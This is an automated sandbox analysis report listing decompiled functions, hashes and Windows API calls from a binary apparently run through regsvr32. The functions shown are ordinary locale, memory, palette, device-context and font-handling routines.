Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: ArraySafe$Bound$ClearIndexVariant
String ID:
API String ID: 920484758-0
Opcode ID: d68851b79baf669237e5b1deb7cedb0c213449e6e11e02c7683a4bb073e56b58
Instruction ID: 29baa890e35f752fa3eb2a8a0d146167f5eebc728d07c49b77ad5dd3b40184cd
Opcode Fuzzy Hash: d68851b79baf669237e5b1deb7cedb0c213449e6e11e02c7683a4bb073e56b58
Instruction Fuzzy Hash: 54410E75E002199BCB61EF99CC91AD9B3BCAF49314F0041EAE548B7252D634AF888F54

Uniqueness

Uniqueness Score: -1.00%

Function 0040B380 Relevance: 6.1, APIs: 4, Instructions: 95
threadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040B380() {
				char _v152;
				short _v410;
				signed short _t14;
				signed int _t16;
				int _t18;
				void* _t20;
				void* _t23;
				int _t24;
				int _t26;
				signed int _t30;
				signed int _t31;
				signed int _t32;
				signed int _t37;
				int* _t39;
				short* _t41;
				void* _t49;

				 *0x43a73c = 0x409;
				 *0x43a740 = 9;
				 *0x43a744 = 1;
				_t14 = GetThreadLocale();
				if(_t14 != 0) {
					 *0x43a73c = _t14;
				}
				if(_t14 != 0) {
					 *0x43a740 = _t14 & 0x3ff;
					 *0x43a744 = (_t14 & 0x0000ffff) >> 0xa;
				}
				memcpy(0x43711c, 0x40b4d4, 8 << 2);
				if( *0x4370d4 != 2) {
					_t16 = GetSystemMetrics(0x4a);
					__eflags = _t16;
					 *0x43a749 = _t16 & 0xffffff00 | _t16 != 0x00000000;
					_t18 = GetSystemMetrics(0x2a);
					__eflags = _t18;
					_t31 = _t30 & 0xffffff00 | _t18 != 0x00000000;
					 *0x43a748 = _t31;
					__eflags = _t31;
					if(__eflags != 0) {
						return E0040B308(__eflags, _t49);
					}
				} else {
					_t20 = E0040B368();
					if(_t20 != 0) {
						 *0x43a749 = 0;
						 *0x43a748 = 0;
						return _t20;
					}
					E0040B308(__eflags, _t49);
					_t37 = 0x20;
					_t23 = E00402A94(0x43711c, 0x20, 0x40b4d4);
					_t32 = _t30 & 0xffffff00 | __eflags != 0x00000000;
					 *0x43a748 = _t32;
					__eflags = _t32;
					if(_t32 != 0) {
						 *0x43a749 = 0;
						return _t23;
					}
					_t24 = 0x80;
					_t39 =  &_v152;
					do {
						 *_t39 = _t24;
						_t24 = _t24 + 1;
						_t39 =  &(_t39[0]);
						__eflags = _t24 - 0x100;
					} while (_t24 != 0x100);
					_t26 =  *0x43a73c; // 0x409
					GetStringTypeA(_t26, 2,  &_v152, 0x80,  &_v410);
					_t18 = 0x80;
					_t41 =  &_v410;
					while(1) {
						__eflags =  *_t41 - 2;
						_t37 = _t37 & 0xffffff00 |  *_t41 == 0x00000002;
						 *0x43a749 = _t37;
						__eflags = _t37;
						if(_t37 != 0) {
							goto L17;
						}
						_t41 = _t41 + 2;
						_t18 = _t18 - 1;
						__eflags = _t18;
						if(_t18 != 0) {
							continue;
						} else {
							return _t18;
						}
						L18:
					}
				}
				L17:
				return _t18;
				goto L18;
			}

0x0040b38c
0x0040b396
0x0040b3a0
0x0040b3aa
0x0040b3b1
0x0040b3b3
0x0040b3b3
0x0040b3bb
0x0040b3c7
0x0040b3d3
0x0040b3d3
0x0040b3e7
0x0040b3f0
0x0040b49f
0x0040b4a4
0x0040b4a9
0x0040b4b0
0x0040b4b5
0x0040b4b7
0x0040b4ba
0x0040b4c0
0x0040b4c2
0x00000000
0x0040b4ca
0x0040b3f6
0x0040b3f6
0x0040b3fd
0x0040b3ff
0x0040b406
0x00000000
0x0040b406
0x0040b413
0x0040b423
0x0040b425
0x0040b42a
0x0040b42d
0x0040b433
0x0040b435
0x0040b437
0x00000000
0x0040b437
0x0040b443
0x0040b448
0x0040b44e
0x0040b44e
0x0040b450
0x0040b451
0x0040b452
0x0040b452
0x0040b46e
0x0040b474
0x0040b479
0x0040b47e
0x0040b484
0x0040b484
0x0040b488
0x0040b48b
0x0040b491
0x0040b493
0x00000000
0x00000000
0x0040b495
0x0040b498
0x0040b498
0x0040b499
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040b499
0x0040b484
0x0040b4d1
0x0040b4d1
0x00000000

APIs

GetStringTypeA.KERNEL32(00000409,00000002,?,00000080,?), ref: 0040B474
GetThreadLocale.KERNEL32 ref: 0040B3AA

Part of subcall function 0040B308: GetCPInfo.KERNEL32(00000000,?), ref: 0040B321

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: InfoLocaleStringThreadType
String ID:
API String ID: 1505017576-0
Opcode ID: 3c9341a7c3fa1a8634ef63bcb0a097cd18bef0d628c13b1f6ed571d211a77ce0
Instruction ID: 71191ebd2628d95a5405424066b57af4301000a597d36e846c67f1fb3b7d0c13
Opcode Fuzzy Hash: 3c9341a7c3fa1a8634ef63bcb0a097cd18bef0d628c13b1f6ed571d211a77ce0
Instruction Fuzzy Hash: 133129216843498BD720D725AC8275637A9EB11304F649077E8C4AB3D3D77C8A5587AF

Uniqueness

Uniqueness Score: -1.00%

Function 00418C58 Relevance: 6.1, APIs: 4, Instructions: 83
windowCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E00418C58(intOrPtr __eax, void* __edx) {
				intOrPtr _v8;
				void* __ebx;
				void* __ecx;
				void* __esi;
				void* __ebp;
				intOrPtr _t33;
				intOrPtr _t59;
				struct HDC__* _t69;
				void* _t70;
				intOrPtr _t79;
				void* _t84;
				struct HPALETTE__* _t85;
				intOrPtr _t87;
				intOrPtr _t89;

				_t87 = _t89;
				_push(_t70);
				_v8 = __eax;
				_t33 = _v8;
				if( *((intOrPtr*)(_t33 + 0x58)) == 0) {
					return _t33;
				} else {
					E004159B0(_v8);
					_push(_t87);
					_push(0x418d37);
					_push( *[fs:eax]);
					 *[fs:eax] = _t89;
					E00419FEC( *((intOrPtr*)(_v8 + 0x58)));
					E00418AD4( *( *((intOrPtr*)( *((intOrPtr*)(_v8 + 0x58)) + 0x28)) + 8));
					E0041A0EC( *((intOrPtr*)(_v8 + 0x58)));
					_t69 = CreateCompatibleDC(0);
					_t84 =  *( *((intOrPtr*)( *((intOrPtr*)(_v8 + 0x58)) + 0x28)) + 8);
					if(_t84 == 0) {
						 *((intOrPtr*)(_v8 + 0x5c)) = 0;
					} else {
						 *((intOrPtr*)(_v8 + 0x5c)) = SelectObject(_t69, _t84);
					}
					_t85 =  *( *((intOrPtr*)( *((intOrPtr*)(_v8 + 0x58)) + 0x28)) + 0x10);
					if(_t85 == 0) {
						 *((intOrPtr*)(_v8 + 0x60)) = 0;
					} else {
						 *((intOrPtr*)(_v8 + 0x60)) = SelectPalette(_t69, _t85, 0xffffffff);
						RealizePalette(_t69);
					}
					E00415BDC(_v8, _t69);
					_t59 =  *0x437664; // 0x4da0acc
					E004108F8(_t59, _t69, _t70, _v8, _t85);
					_pop(_t79);
					 *[fs:eax] = _t79;
					_push(0x418d3e);
					return E00415A9C(_v8);
				}
			}

0x00418c59
0x00418c5b
0x00418c5e
0x00418c61
0x00418c68
0x00418d42
0x00418c6e
0x00418c71
0x00418c78
0x00418c79
0x00418c7e
0x00418c81
0x00418c8a
0x00418c9b
0x00418ca6
0x00418cb2
0x00418cbd
0x00418cc2
0x00418cd8
0x00418cc4
0x00418cce
0x00418cce
0x00418ce4
0x00418ce9
0x00418d07
0x00418ceb
0x00418cf7
0x00418cfb
0x00418cfb
0x00418d0f
0x00418d17
0x00418d1c
0x00418d23
0x00418d26
0x00418d29
0x00418d36
0x00418d36

APIs

Part of subcall function 004159B0: RtlEnterCriticalSection.KERNEL32(0043A8B4,?,00415A74,?), ref: 004159B8
Part of subcall function 004159B0: RtlLeaveCriticalSection.KERNEL32(0043A8B4,0043A8B4,?,00415A74,?), ref: 004159C5
Part of subcall function 004159B0: RtlEnterCriticalSection.KERNEL32(?,0043A8B4,0043A8B4,?,00415A74,?), ref: 004159CE

Part of subcall function 0041A0EC: GetDC.USER32(00000000), ref: 0041A142
Part of subcall function 0041A0EC: GetDeviceCaps.GDI32(00000000,0000000C), ref: 0041A157
Part of subcall function 0041A0EC: GetDeviceCaps.GDI32(00000000,0000000E), ref: 0041A161
Part of subcall function 0041A0EC: CreateHalftonePalette.GDI32(00000000,00000000,?,?,?,?,00418CAB,00000000,00418D37), ref: 0041A185
Part of subcall function 0041A0EC: ReleaseDC.USER32 ref: 0041A190

CreateCompatibleDC.GDI32(00000000), ref: 00418CAD
SelectObject.GDI32(00000000,?), ref: 00418CC6
SelectPalette.GDI32(00000000,?,000000FF), ref: 00418CEF
RealizePalette.GDI32(00000000), ref: 00418CFB

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: CriticalPaletteSection$CapsCreateDeviceEnterSelect$CompatibleHalftoneLeaveObjectRealizeRelease
String ID:
API String ID: 979337279-0
Opcode ID: 079a8952c86464884bad1c32669500c094e96cb3d33976ba5e7c9d6ea41f824d
Instruction ID: df3687e3f3929c781eff7a30719b58b6f3bb58d3d539498e05190f08cd12d670
Opcode Fuzzy Hash: 079a8952c86464884bad1c32669500c094e96cb3d33976ba5e7c9d6ea41f824d
Instruction Fuzzy Hash: 4C314F70A04A04EFD704EF59D981D9EB7F5EF48314B6141AAF804AB362D738EE81DB58

Uniqueness

Uniqueness Score: -1.00%

Function 00417E34 Relevance: 6.1, APIs: 4, Instructions: 64
windowfileCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E00417E34(int __eax, intOrPtr __ecx, void* __edx) {
				struct tagRECT _v32;
				int _t11;
				int _t29;
				void* _t33;
				void* _t35;
				struct HPALETTE__* _t36;
				void* _t38;
				struct HPALETTE__* _t39;

				_t11 = __eax;
				_v32.bottom = __ecx;
				_t33 = __edx;
				_t29 = __eax;
				if( *((intOrPtr*)(__eax + 0x28)) != 0) {
					_t36 =  *((intOrPtr*)( *__eax + 0x24))();
					_t39 = 0;
					if(_t36 != 0) {
						_t39 = SelectPalette(E00415B5C(__edx), _t36, 0xffffffff);
						RealizePalette(E00415B5C(_t33));
					}
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_t35 = _t33;
					_t38 = _t36;
					_v32.right = _v32.right - 1;
					_v32.bottom = _v32.bottom - 1;
					_t11 = PlayEnhMetaFile(E00415B5C(_t35),  *( *((intOrPtr*)(_t29 + 0x28)) + 8),  &_v32);
					if(_t38 != 0) {
						return SelectPalette(E00415B5C(_t35), _t39, 0xffffffff);
					}
				}
				return _t11;
			}

0x00417e34
0x00417e3b
0x00417e3e
0x00417e40
0x00417e46
0x00417e4f
0x00417e51
0x00417e55
0x00417e67
0x00417e71
0x00417e71
0x00417e81
0x00417e82
0x00417e83
0x00417e84
0x00417e85
0x00417e86
0x00417e87
0x00417e8b
0x00417ea3
0x00417eaa
0x00000000
0x00417eb7
0x00417eaa
0x00417ec3

APIs

SelectPalette.GDI32(00000000,00000000,000000FF), ref: 00417E62
RealizePalette.GDI32(00000000), ref: 00417E71
PlayEnhMetaFile.GDI32(00000000,?,?), ref: 00417EA3
SelectPalette.GDI32(00000000,00000000,000000FF), ref: 00417EB7

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: Palette$Select$FileMetaPlayRealize
String ID:
API String ID: 1995988871-0
Opcode ID: 397490806b65e0dce48b3747ce704ce4f3c4e74b7b4c1141ed40700ee3be583c
Instruction ID: be96da3e696927186d2540eb2baa7fb3968659836574bacc2f62c1efde47fa1b
Opcode Fuzzy Hash: 397490806b65e0dce48b3747ce704ce4f3c4e74b7b4c1141ed40700ee3be583c
Instruction Fuzzy Hash: 5501A5716086105BC611BA69CC48DDFB7EDDF85324B05476BB914DB392D638DC4086E9

Uniqueness

Uniqueness Score: -1.00%

Function 00401980 Relevance: 6.0, APIs: 4, Instructions: 48
memoryCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E00401980() {
				signed int _t13;
				intOrPtr _t19;
				intOrPtr _t20;
				intOrPtr _t23;

				_push(_t23);
				_push(E00401A36);
				_push( *[fs:edx]);
				 *[fs:edx] = _t23;
				_push(0x43a5c4);
				L004012D4();
				if( *0x43a045 != 0) {
					_push(0x43a5c4);
					L004012DC();
				}
				E00401344(0x43a5e4);
				E00401344(0x43a5f4);
				E00401344(0x43a620);
				 *0x43a61c = LocalAlloc(0, 0xff8);
				if( *0x43a61c != 0) {
					_t13 = 3;
					do {
						_t20 =  *0x43a61c; // 0x3524640
						 *((intOrPtr*)(_t20 + _t13 * 4 - 0xc)) = 0;
						_t13 = _t13 + 1;
					} while (_t13 != 0x401);
					 *((intOrPtr*)(0x43a608)) = 0x43a604;
					 *0x43a604 = 0x43a604;
					 *0x43a610 = 0x43a604;
					 *0x43a5bc = 1;
				}
				_pop(_t19);
				 *[fs:eax] = _t19;
				_push(E00401A3D);
				if( *0x43a045 != 0) {
					_push(0x43a5c4);
					L004012E4();
					return 0;
				}
				return 0;
			}

0x00401985
0x00401986
0x0040198b
0x0040198e
0x00401991
0x00401996
0x004019a2
0x004019a4
0x004019a9
0x004019a9
0x004019b3
0x004019bd
0x004019c7
0x004019d8
0x004019e4
0x004019e6
0x004019eb
0x004019eb
0x004019f3
0x004019f7
0x004019f8
0x00401a04
0x00401a07
0x00401a09
0x00401a0e
0x00401a0e
0x00401a17
0x00401a1a
0x00401a1d
0x00401a29
0x00401a2b
0x00401a30
0x00000000
0x00401a30
0x00401a35

APIs

RtlInitializeCriticalSection.KERNEL32(0043A5C4,00000000,00401A36,?,?,0040221A,0043A604,00000000,00000000,?,?,00401C09,00401C1E,00401D6F), ref: 00401996
RtlEnterCriticalSection.KERNEL32(0043A5C4,0043A5C4,00000000,00401A36,?,?,0040221A,0043A604,00000000,00000000,?,?,00401C09,00401C1E,00401D6F), ref: 004019A9
LocalAlloc.KERNEL32(00000000,00000FF8,0043A5C4,00000000,00401A36,?,?,0040221A,0043A604,00000000,00000000,?,?,00401C09,00401C1E,00401D6F), ref: 004019D3
RtlLeaveCriticalSection.KERNEL32(0043A5C4,00401A3D,00000000,00401A36,?,?,0040221A,0043A604,00000000,00000000,?,?,00401C09,00401C1E,00401D6F), ref: 00401A30

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: CriticalSection$AllocEnterInitializeLeaveLocal
String ID:
API String ID: 730355536-0
Opcode ID: ff909bae07860901f5a9b4565b9d175ec99af083ac19e5c88508c286f11755db
Instruction ID: fe906b3433435ef9d8cf7567270a916d554eb0c9f4579b6ceab55e5ed69e4caf
Opcode Fuzzy Hash: ff909bae07860901f5a9b4565b9d175ec99af083ac19e5c88508c286f11755db
Instruction Fuzzy Hash: A201ADB0A842806FE715AFAA981BB597AE0D759704F14907FB0C0A66F1CA7C4860CF1F

Uniqueness

Uniqueness Score: -1.00%

Function 0041B668 Relevance: 6.0, APIs: 4, Instructions: 29
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041B668() {
				intOrPtr _v28;
				void* _t4;
				intOrPtr _t8;
				struct HDC__* _t9;
				struct tagTEXTMETRICA* _t10;

				_t8 = 1;
				_t9 = GetDC(0);
				if(_t9 != 0) {
					_t4 =  *0x43a894; // 0x58a00b4
					if(SelectObject(_t9, _t4) != 0 && GetTextMetricsA(_t9, _t10) != 0) {
						_t8 = _v28;
					}
					ReleaseDC(0, _t9);
				}
				return _t8;
			}

0x0041b66d
0x0041b676
0x0041b67a
0x0041b67c
0x0041b68a
0x0041b697
0x0041b697
0x0041b69e
0x0041b69e
0x0041b6aa

APIs

GetDC.USER32(00000000), ref: 0041B671
SelectObject.GDI32(00000000,058A00B4), ref: 0041B683
GetTextMetricsA.GDI32(00000000), ref: 0041B68E
ReleaseDC.USER32 ref: 0041B69E

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: MetricsObjectReleaseSelectText
String ID:
API String ID: 2013942131-0
Opcode ID: c96970901c34e2bc92ba44ecb0056a8b00426ee590d1056e6762a56624c3da45
Instruction ID: 98b06fd915cdd751e4500dfefaa55790ff04afb9e4f016063588e1d1718c0a33
Opcode Fuzzy Hash: c96970901c34e2bc92ba44ecb0056a8b00426ee590d1056e6762a56624c3da45
Instruction Fuzzy Hash: E9E04F31646A202ADA1162765D82BEB264CCF126A4F4C1137FD88EE2C1DA1DCD5187FF

Uniqueness

Uniqueness Score: -1.00%

Function 0041951C Relevance: 6.0, APIs: 4, Instructions: 27
COMMON

Download Yara Rule

C-Code - Quality: 49%

			E0041951C(void* __eflags) {
				int _t14;
				intOrPtr _t20;
				void* _t21;

				DeleteObject( *(_t21 - 0x10));
				E00403638();
				E0040368C();
				_pop(_t20);
				 *[fs:eax] = _t20;
				_push(0x41956d);
				DeleteDC( *(_t21 - 0x1c));
				_t14 = ReleaseDC(0,  *(_t21 - 0x18));
				if( *(_t21 - 0x10) != 0) {
					return GetObjectA( *(_t21 - 0x10), 0x54,  *(_t21 + 0xc));
				}
				return _t14;
			}

0x00419520
0x00419525
0x0041952a
0x00419531
0x00419534
0x00419537
0x00419540
0x0041954b
0x00419554
0x00000000
0x00419560
0x00419565

APIs

DeleteObject.GDI32(?), ref: 00419520
DeleteDC.GDI32(?), ref: 00419540
ReleaseDC.USER32 ref: 0041954B
GetObjectA.GDI32(?,00000054,?), ref: 00419560

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: DeleteObject$Release
String ID:
API String ID: 2600533906-0
Opcode ID: 42a9d83340ff7f8ce5b8ae416033956d7c4c4161a1fe671a79da2eae8b781693
Instruction ID: bced38fe0d8e8e4d98877c710c82f2d17b0ad35f4906f9e1a4b8c4d6ea66e5c1
Opcode Fuzzy Hash: 42a9d83340ff7f8ce5b8ae416033956d7c4c4161a1fe671a79da2eae8b781693
Instruction Fuzzy Hash: 4AE030726046057AEF14EBE5C846ABF73ACEB44708F00482AB110AB1C1C67C98408B28

Uniqueness

Uniqueness Score: -1.00%

Function 0041D074 Relevance: 6.0, APIs: 4, Instructions: 24
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041D074() {
				signed int _t2;
				struct HDC__* _t5;

				_t5 = GetDC(0);
				_t2 = GetDeviceCaps(_t5, 0xc);
				if(_t2 * GetDeviceCaps(_t5, 0xe) > 8) {
					 *0x4376bb = 0;
				} else {
					 *0x4376bb = 1;
				}
				return ReleaseDC(0, _t5);
			}

0x0041d07d
0x0041d082
0x0041d097
0x0041d0a2
0x0041d099
0x0041d099
0x0041d099
0x0041d0b3

APIs

GetDC.USER32(00000000), ref: 0041D078
GetDeviceCaps.GDI32(00000000,0000000C), ref: 0041D082
GetDeviceCaps.GDI32(00000000,0000000E), ref: 0041D08C
ReleaseDC.USER32 ref: 0041D0AC

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: a53a67b5fcad489c2ad280a0b83b3172da3b724f6876e636ee031441bebd6a6b
Instruction ID: 09f8d850f118d2075edfe0516aaaa390857549fb03255c930f81d7bd55bf59c6
Opcode Fuzzy Hash: a53a67b5fcad489c2ad280a0b83b3172da3b724f6876e636ee031441bebd6a6b
Instruction Fuzzy Hash: A4E0E6B164C75464F520337A6D87B67098CD705799F04147BB5897E1C3C4E94D404679

Uniqueness

Uniqueness Score: -1.00%

Function 00405E94 Relevance: 6.0, APIs: 4, Instructions: 11
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405E94(void* __eax, int __ecx, long __edx) {
				void* _t2;
				void* _t4;

				_t2 = GlobalHandle(__eax);
				GlobalUnWire(_t2);
				_t4 = GlobalReAlloc(_t2, __edx, __ecx);
				GlobalFix(_t4);
				return _t4;
			}

0x00405e97
0x00405e9e
0x00405ea3
0x00405ea9
0x00405eae

APIs

GlobalHandle.KERNEL32 ref: 00405E97
GlobalUnWire.KERNEL32(00000000), ref: 00405E9E
GlobalReAlloc.KERNEL32 ref: 00405EA3
GlobalFix.KERNEL32(00000000), ref: 00405EA9

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: Global$AllocHandleWire
String ID:
API String ID: 2210401237-0
Opcode ID: 18b0bbca71287a697dd520e18d972200f805a8d446b9a9e061166e9f7ab0dd87
Instruction ID: 5f09bfe76a9364c37ba76af9a1cef2a6ccf50b93911945a0eef2035fbe4794a1
Opcode Fuzzy Hash: 18b0bbca71287a697dd520e18d972200f805a8d446b9a9e061166e9f7ab0dd87
Instruction Fuzzy Hash: B2B004D4812A1128EC0876B68C1AC2F282DE88060838049AE7840FA08398FDBA00083A

Uniqueness

Uniqueness Score: -1.00%

Function 00414FD0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 123
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E00414FD0(void* __eax, void* __ebx, void* __ecx) {
				signed int _v8;
				struct tagLOGFONTA _v68;
				char _v72;
				char _v76;
				char _v80;
				intOrPtr _t76;
				intOrPtr _t81;
				void* _t107;
				void* _t116;
				intOrPtr _t126;
				void* _t137;
				void* _t138;
				intOrPtr _t139;

				_t137 = _t138;
				_t139 = _t138 + 0xffffffb4;
				_v80 = 0;
				_v76 = 0;
				_v72 = 0;
				_t116 = __eax;
				_push(_t137);
				_push(0x415159);
				_push( *[fs:eax]);
				 *[fs:eax] = _t139;
				_v8 =  *((intOrPtr*)(__eax + 0x10));
				if( *((intOrPtr*)(_v8 + 8)) != 0) {
					 *[fs:eax] = 0;
					_push(E00415160);
					return E00403C5C( &_v80, 3);
				} else {
					_t76 =  *0x43a8cc; // 0x4da0a30
					E004144E0(_t76);
					_push(_t137);
					_push(0x415131);
					_push( *[fs:eax]);
					 *[fs:eax] = _t139;
					if( *((intOrPtr*)(_v8 + 8)) == 0) {
						_v68.lfHeight =  *(_v8 + 0x14);
						_v68.lfWidth = 0;
						_v68.lfEscapement = 0;
						_v68.lfOrientation = 0;
						if(( *(_v8 + 0x19) & 0x00000001) == 0) {
							_v68.lfWeight = 0x190;
						} else {
							_v68.lfWeight = 0x2bc;
						}
						_v68.lfItalic = _v8 & 0xffffff00 | ( *(_v8 + 0x19) & 0x00000002) != 0x00000000;
						_v68.lfUnderline = _v8 & 0xffffff00 | ( *(_v8 + 0x19) & 0x00000004) != 0x00000000;
						_v68.lfStrikeOut = _v8 & 0xffffff00 | ( *(_v8 + 0x19) & 0x00000008) != 0x00000000;
						_v68.lfCharSet =  *((intOrPtr*)(_v8 + 0x1a));
						E00403E9C( &_v72, _v8 + 0x1b);
						if(E00406FE4(_v72, "Default") != 0) {
							E00403E9C( &_v80, _v8 + 0x1b);
							E0040772C( &(_v68.lfFaceName), _v80);
						} else {
							E00403E9C( &_v76, "\rMS Sans Serif");
							E0040772C( &(_v68.lfFaceName), _v76);
						}
						_v68.lfQuality = 0;
						_v68.lfOutPrecision = 0;
						_v68.lfClipPrecision = 0;
						_t107 = E00415290(_t116) - 1;
						if(_t107 == 0) {
							_v68.lfPitchAndFamily = 2;
						} else {
							if(_t107 == 1) {
								_v68.lfPitchAndFamily = 1;
							} else {
								_v68.lfPitchAndFamily = 0;
							}
						}
						 *((intOrPtr*)(_v8 + 8)) = CreateFontIndirectA( &_v68);
					}
					_pop(_t126);
					 *[fs:eax] = _t126;
					_push(0x415138);
					_t81 =  *0x43a8cc; // 0x4da0a30
					return E004144EC(_t81);
				}
			}

0x00414fd1
0x00414fd3
0x00414fd9
0x00414fdc
0x00414fdf
0x00414fe2
0x00414fe6
0x00414fe7
0x00414fec
0x00414fef
0x00414ff5
0x00414fff
0x00415143
0x00415146
0x00415158
0x00415005
0x00415005
0x0041500a
0x00415011
0x00415012
0x00415017
0x0041501a
0x00415024
0x00415030
0x00415035
0x0041503a
0x0041503f
0x00415049
0x00415054
0x0041504b
0x0041504b
0x0041504b
0x00415065
0x00415072
0x0041507f
0x00415088
0x00415094
0x004150a8
0x004150cd
0x004150d8
0x004150aa
0x004150b2
0x004150bd
0x004150bd
0x004150dd
0x004150e1
0x004150e5
0x004150f0
0x004150f2
0x004150fa
0x004150f4
0x004150f6
0x00415100
0x004150f8
0x00415106
0x00415106
0x004150f6
0x00415116
0x00415116
0x0041511b
0x0041511e
0x00415121
0x00415126
0x00415130
0x00415130

APIs

Part of subcall function 004144E0: RtlEnterCriticalSection.KERNEL32(?,0041451D), ref: 004144E4

CreateFontIndirectA.GDI32(?), ref: 0041510E

Strings

